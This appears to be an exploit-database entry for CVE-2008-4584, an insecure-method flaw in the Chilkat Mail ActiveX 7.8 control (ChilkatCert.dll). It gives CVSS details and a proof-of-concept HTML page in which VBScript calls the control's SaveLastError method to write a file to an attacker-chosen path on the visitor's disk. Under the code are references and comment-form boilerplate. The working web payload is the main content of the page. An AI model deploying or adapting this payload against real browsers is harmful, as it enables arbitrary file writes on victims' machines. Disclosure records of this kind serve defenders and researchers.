Chilkat Mail ActiveX 7.8 (ChilkatCert.dll) Insecure Method Exploit

2008-10-18 / 2008-10-19

Credit: anon

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2008-4584

CWE: CWE-Other

CVSS Base Score: 6.8/10

Impact Subscore: 6.4/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

<body bgcolor="#000000">

<p align="center"><b><font face="Verdana" color="#00FF00" size="2">Chilkat Mail 
ActiveX 7.8 (ChilkatCert.dll) Insecure Method Exploit</font></b></p>
<p align="center"><b><font face="Verdana" size="2" color="#00FF00">Site :
<a href="http://www.chilkatsoft.com"><font color="#00FF00">www.chilkatsoft.com</font></a></font></b></p>
<p align="center"><font color="#00FF00" face="Verdana">
===================================================</font></p>
<p align="center"><b><font face="Verdana" color="#00FF00" size="2">Tested on 
Windows XP Professional SP2 , with Internet Explorer 6</font></b></p>
<p align="center"><b><font face="Verdana" size="2" color="#00FF00">Author : 
darkl0rd</font></b></p>
<p align="center"><b><font face="Verdana" size="2" color="#00FF00">E-Mail : 
l_l_darkl0rd_l_l[at]yahoo[dot]com</font></b></p>
<p align="center"><b><font color="#FF0000" face="Verdana" size="2">SaveLastError</font></b></p>
<p align="center">
<object classid='clsid:2A9A3D40-2F32-45BF-9A89-AC9ED6C2FEDF' id='over' align="left"></object>

<input language=VBScript onclick=lose() type=button value="Exploit">

<script language='vbscript'>
 Sub lose
   mystr="c:\darkl0rd.txt"
   over.SaveLastError mystr
   MyMsg = MsgBox("Done !")
 End Sub
</script>
</span></span>

</code></p>
</pre>

References:

http://xforce.iss.net/xforce/xfdb/40041

http://www.securityfocus.com/bid/27493

http://www.milw0rm.com/exploits/5005

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Chilkat Mail ActiveX 7.8 (ChilkatCert.dll) Insecure Method Exploit

References:

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.